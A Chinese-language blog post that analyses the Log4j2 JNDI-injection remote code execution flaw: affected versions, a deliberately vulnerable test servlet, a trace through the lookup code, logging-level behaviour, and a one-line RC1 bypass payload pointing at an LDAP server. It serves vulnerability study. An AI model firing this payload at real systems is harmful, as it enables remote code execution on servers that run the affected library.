前言
最近Log4j2的RCE漏洞可谓是刷爆了整个安全圈,也是被国内外安全圈的大佬们玩出了花。在发布漏洞后笔者也是根据官方commit对此次漏洞进行了调试分析,But....周末杂七杂八的事实在太多一直没来得及记录。今天发出来也算是蹭一下最后的余温....漏洞描述
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。由于Apache Log4j2 lookup功能存在递归解析功能，攻击者可直接构造恶意请求，⽆需进⾏特殊配置，即可触发远程代码执⾏。影响范围
Java类产品：Apache Log4j 2.x < 2.15.0-rc2 受影响的应用及组件（包括但不限于）如下：Apache Solr、Apache Flink、Apache Druid、Apache Struts2、pring-boot-strater-log4j2等。环境搭建
IDEA新建Maven项目，并导入如下依赖
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency>
新建Servlet
@WebServlet(name = "ServletDemo", value = "/ServletDemo")public class ServletDemo extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {doPost(request,response);}@Overrideprotected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {Logger logger = LogManager.getLogger(ServletDemo.class.getName());PrintWriter printWriter = response.getWriter();printWriter.println("Log4j2 JNDI injection");String payload = request.getParameter("msg");if (payload == null){payload = "input msg parameter: ?msg=helloworld";}printWriter.println("execute paylaod: " + payload);logger.error(payload);printWriter.flush();printWriter.close();}}
漏洞分析
首先使用互联网上公开的漏洞触发语句进行调试分析
Logger logger = LogManager.getLogger(xxxx.class.getName());logger.error(payload)
进入到error函数后首先会调用logIfEnabled,在该函数中首先会调用isEnabled判断是否要进行日志记录(具体细节后面会讲)。如果满足一定条件则调用logMessage进行下一步操作。
在经过一系列操作后我们来到org.apache.logging.log4j.core.pattern!format
在format函数中会匹配${，当匹配到${内容后并将其中内容取出调用substitube进行下一步操作
跟进substitube
省略一些判断后substitube会调用resolveVariable，继续跟进
resolveVariable首先会调用getVariableResolver获取可用的resolver,随后调用lookup函数
lookup首先根据:的索引获取到传入的协议类型，随后调用this.strLookupMap.get获取一个lookup实例。随后调用lookup实例的lookup，跟进
Jndilookup首先调用JndiManager.getDefaultManager();获取jndi context,随后调用jndimanager.lookup完成最终的jndi注入
在调试完整个流程后，我们不禁会思考这样一个问题，既然在默认配置下logger.error()可以触发jndi注入那么像logger.info(),logger.warn(),logger.all()等其他函数是否也能触发jndi注入。首先我们把先前的代码稍作修改
在默认配置下，我们分别调用error,warn,info三个函数，并修改dnslog域名前缀。这样我们就知道dnslog是由哪个函数发出的
在发出请求后，dnslog只收到了来自error函数的记录。而其他的warn,info并没有像我们预期的那样触发jndi注入 出现该问题的关键就在于我们之前提到的isEnable函数。在isEnable中调用了this.privateConfig.filter，我们看看在filter中具体做了什么
filter首先调用this.config.getfilter获取配置信息，如果没有获取到配置信息，则对this.intLevel和level.intLevel进行比较，只有当this.intLevel 大于或等于level.intLevel才会进行下一步的日志记录操作 而log4j2默认过滤级别为error，所以当我们传入过滤级别高于默认过滤级别时不会触发jndi注入。当我们手动为log4j2指定一个过滤级别
再次发送请求后，可以成功触发dnslog请求
RC1 绕过
在发布该漏洞后，apache官方紧急发布了RC1修复版本，但RC1由于修复不完善导致可进行绕过 如果要在RC1下利用此漏洞，需要用户在打开lookup功能下才能进行JNDI注入。
Payload
${jndi:ldap://127.0.0.1:1389/ Badclassname}注意Badclassname前的空格
篇幅有限，具体绕过分析可参考Apache Log4j2从RCE到RC1绕过(https://xz.aliyun.com/t/10649）